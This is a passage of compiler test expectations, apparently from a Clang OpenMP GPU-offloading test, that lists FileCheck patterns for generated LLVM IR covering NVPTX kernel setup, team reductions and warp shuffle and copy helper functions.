CHECK4-NEXT: call void [[TMP5]](i16 0, i32 [[TMP4]]) // CHECK4-NEXT: br label [[DOTTERMINATE_PARALLEL:%.*]] // CHECK4: .terminate.parallel: // CHECK4-NEXT: call void @__kmpc_kernel_end_parallel() // CHECK4-NEXT: br label [[DOTBARRIER_PARALLEL]] // CHECK4: .barrier.parallel: // CHECK4-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK4-NEXT: br label [[DOTAWAIT_WORK]] // CHECK4: .exit: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29 // CHECK4-SAME: (i32 [[C:%.*]], i32 [[D:%.*]]) #[[ATTR1]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[C_ADDR:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[D_ADDR:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK4-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK4-NEXT: store i32 [[C]], i32* [[C_ADDR]], align 4 // CHECK4-NEXT: store i32 [[D]], i32* [[D_ADDR]], align 4 // CHECK4-NEXT: [[CONV:%.*]] = bitcast i32* [[C_ADDR]] to i8* // CHECK4-NEXT: [[CONV1:%.*]] = bitcast i32* [[D_ADDR]] to float* // CHECK4-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK4-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[THREAD_LIMIT:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS]], [[NVPTX_WARP_SIZE]] // CHECK4-NEXT: [[TMP0:%.*]] = icmp ult i32 [[NVPTX_TID]], [[THREAD_LIMIT]] // CHECK4-NEXT: br i1 [[TMP0]], label [[DOTWORKER:%.*]], label [[DOTMASTERCHECK:%.*]] // CHECK4: .worker: // CHECK4-NEXT: call void @{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29_worker() #[[ATTR3]] // CHECK4-NEXT: br label [[DOTEXIT:%.*]] // CHECK4: .mastercheck: // CHECK4-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_NUM_THREADS3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK4-NEXT: [[NVPTX_WARP_SIZE4:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP1:%.*]] = sub nuw i32 [[NVPTX_WARP_SIZE4]], 1 // CHECK4-NEXT: [[TMP2:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS3]], 1 // CHECK4-NEXT: [[TMP3:%.*]] = xor i32 [[TMP1]], -1 // CHECK4-NEXT: [[MASTER_TID:%.*]] = and i32 [[TMP2]], [[TMP3]] // CHECK4-NEXT: [[TMP4:%.*]] = icmp eq i32 [[NVPTX_TID2]], [[MASTER_TID]] // CHECK4-NEXT: br i1 [[TMP4]], label [[DOTMASTER:%.*]], label [[DOTEXIT]] // CHECK4: .master: // CHECK4-NEXT: [[NVPTX_NUM_THREADS5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK4-NEXT: [[NVPTX_WARP_SIZE6:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[THREAD_LIMIT7:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS5]], [[NVPTX_WARP_SIZE6]] // CHECK4-NEXT: call void @__kmpc_kernel_init(i32 [[THREAD_LIMIT7]], i16 1) // CHECK4-NEXT: call void @__kmpc_data_sharing_init_stack() // CHECK4-NEXT: [[TMP5:%.*]] = load i16, i16* @"_openmp_static_kernel$is_shared1", align 2 // CHECK4-NEXT: [[TMP6:%.*]] = load i32, i32* @"_openmp_static_kernel$size2", align 4 // CHECK4-NEXT: call void @__kmpc_get_team_static_memory(i16 0, i8* addrspacecast (i8 addrspace(3)* getelementptr inbounds (%"union._shared_openmp_static_memory_type_$_", %"union._shared_openmp_static_memory_type_$_" addrspace(3)* @"_openmp_shared_static_glob_rd_$_", i32 0, i32 0, i32 0) to i8*), i32 [[TMP6]], i16 [[TMP5]], i8** addrspacecast (i8* addrspace(3)* @"_openmp_kernel_static_glob_rd$ptr" to i8**)) // CHECK4-NEXT: [[TMP7:%.*]] = load i8*, i8* addrspace(3)* @"_openmp_kernel_static_glob_rd$ptr", align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds i8, i8* [[TMP7]], i32 0 // CHECK4-NEXT: [[TMP9:%.*]] = bitcast i8* [[TMP8]] to %struct._globalized_locals_ty.1* // CHECK4-NEXT: [[TMP10:%.*]] = load i8, i8* [[CONV]], align 4 // CHECK4-NEXT: [[C8:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP9]], i32 0, i32 1 // CHECK4-NEXT: store i8 [[TMP10]], i8* [[C8]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = load float, float* [[CONV1]], align 4 // CHECK4-NEXT: [[D9:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP9]], i32 0, i32 0 // CHECK4-NEXT: store float [[TMP11]], float* [[D9]], align 4 // CHECK4-NEXT: [[TMP12:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK4-NEXT: store i32 [[TMP12]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK4-NEXT: call void @__omp_outlined__3(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i8* [[C8]], float* [[D9]]) #[[ATTR3]] // CHECK4-NEXT: [[TMP13:%.*]] = load i16, i16* @"_openmp_static_kernel$is_shared1", align 2 // CHECK4-NEXT: call void @__kmpc_restore_team_static_memory(i16 0, i16 [[TMP13]]) // CHECK4-NEXT: br label [[DOTTERMINATION_NOTIFIER:%.*]] // CHECK4: .termination.notifier: // CHECK4-NEXT: call void @__kmpc_kernel_deinit(i16 1) // CHECK4-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK4-NEXT: br label [[DOTEXIT]] // CHECK4: .exit: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@__omp_outlined__3 // CHECK4-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i8* nonnull align 1 dereferenceable(1) [[C:%.*]], float* nonnull align 4 dereferenceable(4) [[D:%.*]]) #[[ATTR1]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK4-NEXT: [[C_ADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[D_ADDR:%.*]] = alloca float*, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK4-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK4-NEXT: store i8* [[C]], i8** [[C_ADDR]], align 4 // CHECK4-NEXT: store float* [[D]], float** [[D_ADDR]], align 4 // CHECK4-NEXT: [[TMP0:%.*]] = load i8*, i8** [[C_ADDR]], align 4 // CHECK4-NEXT: [[TMP1:%.*]] = load float*, float** [[D_ADDR]], align 4 // CHECK4-NEXT: [[TMP2:%.*]] = load i8*, i8* addrspace(3)* @"_openmp_kernel_static_glob_rd$ptr", align 4 // CHECK4-NEXT: [[TMP3:%.*]] = getelementptr inbounds i8, i8* [[TMP2]], i32 8 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.2* // CHECK4-NEXT: [[C1:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_2:%.*]], %struct._globalized_locals_ty.2* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[D2:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_2]], %struct._globalized_locals_ty.2* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: store i8 0, i8* [[C1]], align 4 // CHECK4-NEXT: store float 1.000000e+00, float* [[D2]], align 4 // CHECK4-NEXT: [[TMP5:%.*]] = load i8, i8* [[C1]], align 4 // CHECK4-NEXT: [[CONV:%.*]] = sext i8 [[TMP5]] to i32 // CHECK4-NEXT: [[XOR:%.*]] = xor i32 [[CONV]], 2 // CHECK4-NEXT: [[CONV3:%.*]] = trunc i32 [[XOR]] to i8 // CHECK4-NEXT: store i8 [[CONV3]], i8* [[C1]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = load float, float* [[D2]], align 4 // CHECK4-NEXT: [[MUL:%.*]] = fmul float [[TMP6]], 3.300000e+01 // CHECK4-NEXT: store float [[MUL]], float* [[D2]], align 4 // CHECK4-NEXT: [[TMP7:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = load i32, i32* [[TMP7]], align 4 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: store i8* [[C1]], i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP11:%.*]] = bitcast float* [[D2]] to i8* // CHECK4-NEXT: store i8* [[TMP11]], i8** [[TMP10]], align 4 // CHECK4-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP13:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK4-NEXT: [[TMP14:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP8]], i8* [[TMP13]], i32 2048, i8* [[TMP12]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func5, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func6, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func7, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func8, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func9, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func10) // CHECK4-NEXT: [[TMP15:%.*]] = icmp eq i32 [[TMP14]], 1 // CHECK4-NEXT: br i1 [[TMP15]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK4: .omp.reduction.then: // CHECK4-NEXT: [[TMP16:%.*]] = load i8, i8* [[TMP0]], align 1 // CHECK4-NEXT: [[CONV4:%.*]] = sext i8 [[TMP16]] to i32 // CHECK4-NEXT: [[TMP17:%.*]] = load i8, i8* [[C1]], align 4 // CHECK4-NEXT: [[CONV5:%.*]] = sext i8 [[TMP17]] to i32 // CHECK4-NEXT: [[XOR6:%.*]] = xor i32 [[CONV4]], [[CONV5]] // CHECK4-NEXT: [[CONV7:%.*]] = trunc i32 [[XOR6]] to i8 // CHECK4-NEXT: store i8 [[CONV7]], i8* [[TMP0]], align 1 // CHECK4-NEXT: [[TMP18:%.*]] = load float, float* [[TMP1]], align 4 // CHECK4-NEXT: [[TMP19:%.*]] = load float, float* [[D2]], align 4 // CHECK4-NEXT: [[MUL8:%.*]] = fmul float [[TMP18]], [[TMP19]] // CHECK4-NEXT: store float [[MUL8]], float* [[TMP1]], align 4 // CHECK4-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP8]]) // CHECK4-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK4: .omp.reduction.done: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func5 // CHECK4-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK4-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i8, align 1 // CHECK4-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca float, align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK4-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK4-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK4-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK4-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK4-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK4-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP12:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK4-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP10]], align 1 // CHECK4-NEXT: [[TMP14:%.*]] = sext i8 [[TMP13]] to i32 // CHECK4-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP15:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK4-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP14]], i16 [[TMP7]], i16 [[TMP15]]) // CHECK4-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i8 // CHECK4-NEXT: store i8 [[TMP17]], i8* [[DOTOMP_REDUCTION_ELEMENT]], align 1 // CHECK4-NEXT: [[TMP18:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK4-NEXT: [[TMP19:%.*]] = getelementptr i8, i8* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK4-NEXT: store i8* [[DOTOMP_REDUCTION_ELEMENT]], i8** [[TMP11]], align 4 // CHECK4-NEXT: [[TMP20:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK4-NEXT: [[TMP21:%.*]] = load i8*, i8** [[TMP20]], align 4 // CHECK4-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP23:%.*]] = bitcast i8* [[TMP21]] to float* // CHECK4-NEXT: [[TMP24:%.*]] = getelementptr float, float* [[TMP23]], i32 1 // CHECK4-NEXT: [[TMP25:%.*]] = bitcast float* [[TMP24]] to i8* // CHECK4-NEXT: [[TMP26:%.*]] = bitcast float* [[TMP23]] to i32* // CHECK4-NEXT: [[TMP27:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i32* // CHECK4-NEXT: [[TMP28:%.*]] = load i32, i32* [[TMP26]], align 4 // CHECK4-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK4-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK4-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK4-NEXT: store i32 [[TMP30]], i32* [[TMP27]], align 4 // CHECK4-NEXT: [[TMP31:%.*]] = getelementptr i32, i32* [[TMP26]], i32 1 // CHECK4-NEXT: [[TMP32:%.*]] = getelementptr i32, i32* [[TMP27]], i32 1 // CHECK4-NEXT: [[TMP33:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK4-NEXT: store i8* [[TMP33]], i8** [[TMP22]], align 4 // CHECK4-NEXT: [[TMP34:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK4-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK4-NEXT: [[TMP36:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK4-NEXT: [[TMP37:%.*]] = and i1 [[TMP35]], [[TMP36]] // CHECK4-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK4-NEXT: [[TMP39:%.*]] = and i16 [[TMP6]], 1 // CHECK4-NEXT: [[TMP40:%.*]] = icmp eq i16 [[TMP39]], 0 // CHECK4-NEXT: [[TMP41:%.*]] = and i1 [[TMP38]], [[TMP40]] // CHECK4-NEXT: [[TMP42:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK4-NEXT: [[TMP43:%.*]] = and i1 [[TMP41]], [[TMP42]] // CHECK4-NEXT: [[TMP44:%.*]] = or i1 [[TMP34]], [[TMP37]] // CHECK4-NEXT: [[TMP45:%.*]] = or i1 [[TMP44]], [[TMP43]] // CHECK4-NEXT: br i1 [[TMP45]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK4: then: // CHECK4-NEXT: [[TMP46:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK4-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK4-NEXT: call void @"_omp$reduction$reduction_func4"(i8* [[TMP46]], i8* [[TMP47]]) #[[ATTR3]] // CHECK4-NEXT: br label [[IFCONT:%.*]] // CHECK4: else: // CHECK4-NEXT: br label [[IFCONT]] // CHECK4: ifcont: // CHECK4-NEXT: [[TMP48:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK4-NEXT: [[TMP49:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK4-NEXT: [[TMP50:%.*]] = and i1 [[TMP48]], [[TMP49]] // CHECK4-NEXT: br i1 [[TMP50]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK4: then6: // CHECK4-NEXT: [[TMP51:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[TMP52:%.*]] = load i8*, i8** [[TMP51]], align 4 // CHECK4-NEXT: [[TMP53:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK4-NEXT: [[TMP54:%.*]] = load i8*, i8** [[TMP53]], align 4 // CHECK4-NEXT: [[TMP55:%.*]] = load i8, i8* [[TMP52]], align 1 // CHECK4-NEXT: store i8 [[TMP55]], i8* [[TMP54]], align 1 // CHECK4-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 4 // CHECK4-NEXT: [[TMP58:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK4-NEXT: [[TMP59:%.*]] = load i8*, i8** [[TMP58]], align 4 // CHECK4-NEXT: [[TMP60:%.*]] = bitcast i8* [[TMP57]] to float* // CHECK4-NEXT: [[TMP61:%.*]] = bitcast i8* [[TMP59]] to float* // CHECK4-NEXT: [[TMP62:%.*]] = load float, float* [[TMP60]], align 4 // CHECK4-NEXT: store float [[TMP62]], float* [[TMP61]], align 4 // CHECK4-NEXT: br label [[IFCONT8:%.*]] // CHECK4: else7: // CHECK4-NEXT: br label [[IFCONT8]] // CHECK4: ifcont8: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func6 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK4-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK4-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK4-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK4-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK4: then: // CHECK4-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK4-NEXT: [[TMP8:%.*]] = bitcast i32 addrspace(3)* [[TMP7]] to i8 addrspace(3)* // CHECK4-NEXT: [[TMP9:%.*]] = load i8, i8* [[TMP6]], align 1 // CHECK4-NEXT: store volatile i8 [[TMP9]], i8 addrspace(3)* [[TMP8]], align 1 // CHECK4-NEXT: br label [[IFCONT:%.*]] // CHECK4: else: // CHECK4-NEXT: br label [[IFCONT]] // CHECK4: ifcont: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK4-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK4-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK4: then4: // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK4-NEXT: [[TMP12:%.*]] = bitcast i32 addrspace(3)* [[TMP11]] to i8 addrspace(3)* // CHECK4-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK4-NEXT: [[TMP15:%.*]] = load volatile i8, i8 addrspace(3)* [[TMP12]], align 1 // CHECK4-NEXT: store i8 [[TMP15]], i8* [[TMP14]], align 1 // CHECK4-NEXT: br label [[IFCONT6:%.*]] // CHECK4: else5: // CHECK4-NEXT: br label [[IFCONT6]] // CHECK4: ifcont6: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK4-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK4-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK4: then8: // CHECK4-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK4-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i32* // CHECK4-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK4-NEXT: [[TMP20:%.*]] = load i32, i32* [[TMP18]], align 4 // CHECK4-NEXT: store volatile i32 [[TMP20]], i32 addrspace(3)* [[TMP19]], align 4 // CHECK4-NEXT: br label [[IFCONT10:%.*]] // CHECK4: else9: // CHECK4-NEXT: br label [[IFCONT10]] // CHECK4: ifcont10: // CHECK4-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK4-NEXT: [[TMP21:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP21]] // CHECK4-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK4: then12: // CHECK4-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK4-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP24:%.*]] = load i8*, i8** [[TMP23]], align 4 // CHECK4-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP24]] to i32* // CHECK4-NEXT: [[TMP26:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP22]], align 4 // CHECK4-NEXT: store i32 [[TMP26]], i32* [[TMP25]], align 4 // CHECK4-NEXT: br label [[IFCONT14:%.*]] // CHECK4: else13: // CHECK4-NEXT: br label [[IFCONT14]] // CHECK4: ifcont14: // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func7 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK4-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.3* // CHECK4-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK4-NEXT: 